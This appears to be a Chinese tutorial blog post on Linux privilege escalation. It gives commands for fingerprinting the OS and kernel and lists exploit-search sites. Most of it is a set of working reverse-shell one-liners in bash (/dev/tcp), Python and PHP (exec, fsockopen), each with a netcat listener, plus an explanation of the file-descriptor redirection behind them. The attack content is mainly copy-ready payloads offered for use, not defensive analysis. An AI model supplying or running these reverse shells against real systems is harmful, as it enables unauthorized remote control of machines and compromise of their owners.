Linux提权

系统漏洞提权总体思路:1、获取操作系统版本号;2、根据版本号搜索exp;3、反弹shell利用;4、尝试利用

1、获取系统版本号

获取发行版本

cat /etc/issue  (Debian,ubuntu系列)
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release (红帽,centos系列)

获取内核版本

cat /proc/version
uname -a
uname -mrs
rpm -q kernel  (查询kernel rpm包,不推荐用,一个系统可以拥有多个版本包)
dmesg |grep linux
ls /boot |grep vmlinuz

2、搜索exp获取内核版本--站点

http://www.exploit-db.com
http://1337day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www..exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.google.com

3.反弹shell

反弹shell命令

bash -i >& /dev/tcp/ip/port 0>&1  (/dev/下是一些设备)

自己在主机上监听端口

nc -l -p 8080

目标服务器运行

/bin/bash -i >& /dev/tcp/自己的公网IP/8080 0<&1

实例演示

演示站点:http://192.168.5.134/index.php,自己攻击主机192.168.5.130

在自己主机上监听8080端口

在目标服务器上运行反弹shell

可以看到目标主机bash已经反弹到自己主机

 Linux 中shell的命令原理

linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:

0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>

还有就是>&这个符号的含义,最好的理解是这样的:

当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

也有人把&这个符号解释为是取地址符号,学过C语言的小伙伴们都知道&这个符号代表取地址符,在C++中&符号还代表为引用,这样做是为了区分文件描述符和文件,比如查看一个不存在的文件,要把标准错误重定向到标准输出,如果直接cat notexistfile 2>1的话,则会将1看作是一个文件,将标准错误输出输出到1这个文件里而不是标准输出,而&的作用就是为了区分文件和文件描述符;理解了上面这些知识,下面来解释一下这一条反弹shell的命令首先,bash -i代表在本地打开一个bash,然后就是/dev/tcp/ip/port, /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们输入命令,输出以及错误输出的内容就会被传递显示到远程。在本地输入设备(键盘)输入命令,在本地看不到输入的内容,但是键盘输入的命令已经被输出到了远程,然后命令的执行结果或者错误也会被传到远程,查看远程,可以看到标准输出和标准错误输出都重定向到了远程:

下面在该命令后面加上0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了;那么,0>&2也是可以的,代表将标准输入重定向到标准错误输出,而标准错误输出重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程;

python反弹shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

 php反弹shell

首先最简单的一个办法,就是使用php的exec函数执行反弹shell的命令:

php- 'exec("/bin/bash -i >& /dev/tcp/对应监听端口IP/port")'

还有一个是之前乌云知识库上的一个姿势,使用php的fsockopen去连接远程:

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值